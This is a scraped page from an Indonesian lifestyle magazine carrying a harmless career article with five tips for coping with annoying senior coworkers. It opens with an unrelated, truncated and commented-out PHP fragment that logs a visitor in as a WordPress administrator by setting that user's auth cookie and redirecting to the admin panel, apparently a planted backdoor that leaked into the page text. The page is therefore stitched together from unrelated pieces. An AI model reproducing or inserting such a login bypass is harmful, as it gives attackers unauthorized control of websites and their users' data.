user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Career
5 Tip Hadapi Senior Annoying di Kantor

21 Apr 2026

Nggak semua bisa bersikap tegas menghadapi senior seperti karakter Hong Keum-bo dalam drakor Undercover Miss Hong. Foto ilustrasi: tvN


Lingkungan dunia kerja memang beragam, termasuk jika kamu berada di kantor yang dipenuhi para senior, termasuk yang kelakuannya annoying alias nyebelin.

Menghadapi senior yang nyebelin di kantor itu realitas yang cukup umum—dan sayangnya, nggak selalu bisa dihindari.

Tapi kabar baiknya, kamu tetap bisa bikin suasana kerja jadi lebih ringan dan menyenangkan tanpa harus drama, meskipun kantor kamu ‘menjunjung tinggi’ senioritas. 

Ini lima cara yang bisa kamu coba, tanpa terlihat merendah maupun melangkahi para senior.

1/ Jangan langsung baper, pahami dulu polanya
Kadang yang bikin kesal bukan cuma orangnya, tapi cara dia menanggapi respons kita. 

Coba amati dulu, dia nyebelin karena perfeksionis, galak, atau memang komunikasinya kurang enak? Dengan memahami pola, kamu bisa lebih siap dan nggak gampang ke-trigger (untuk naik darah).

2/ Fokus ke pekerjaan, bukan ke orangnya
Alihkan energi kamu ke hal yang bisa kamu kontrol: Kualitas kerja. Semakin kamu fokus sama tugas, semakin kecil ruang buat drama. Bonusnya, performa kamu juga tetap terlihat profesional di mata atasan.

3/ Tetap profesional, tapi pasang batas
Sopan itu wajib, tapi bukan berarti kamu harus selalu “iya-iya.” Kalau ada yang sudah di luar batas (misalnya nada bicara merendahkan), kamu bisa menanggapinya dengan tegas tapi tetap santun. 
Advertisement

Contoh, “Aku paham maksudnya, tapi mungkin bisa disampaikan dengan cara yang lebih jelas, ya Kak.”

Tetap tersenyum meski hati meronta nggak sabar. Foto ilustrasi: tvN (Undercover Miss Hong)

4/ Cari support system di kantor
Punya teman kerja yang bisa diajak ngobrol itu penting banget. Nggak harus gosip, tapi sekadar sharing atau ketawa bareng bisa bantu kamu tetap waras di tengah tekanan.

5/ Punya waktu pribadi setelah kerja
Jangan biarkan energi negatif kebawa pulang. Lakukan hal yang kamu suka setelah jam kerja—entah itu olahraga ringan, nonton, atau sekadar rebahan tanpa mikir kerjaan. 

Mood kamu bakal lebih ke-reset, dan kelakuan senior ‘ajaib’ itu selesai di kantor aja, hari ini juga.

Pada akhirnya, kamu nggak bisa selalu mengubah orang lain, tapi kamu bisa mengatur cara kamu menyikapinya. 

Dengan mindset yang tepat, kantor tetap bisa jadi tempat yang nyaman—meskipun ada satu-dua ‘tantangan’ di dalamnya. (f)

Baca juga:
10 Kalimat Ini Pantang Diucapkan kepada Rekan Kerja yang Resign
Survival Kit untuk Karyawan Baru, Kamu Sudah Punya?
Mengapa Empati Adalah ‘Kecerdasan Tertinggi’ dalam Karier Perempuan dan Jadi Kunci Sukses tanpa Batas

 

Brianna Relisha


 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?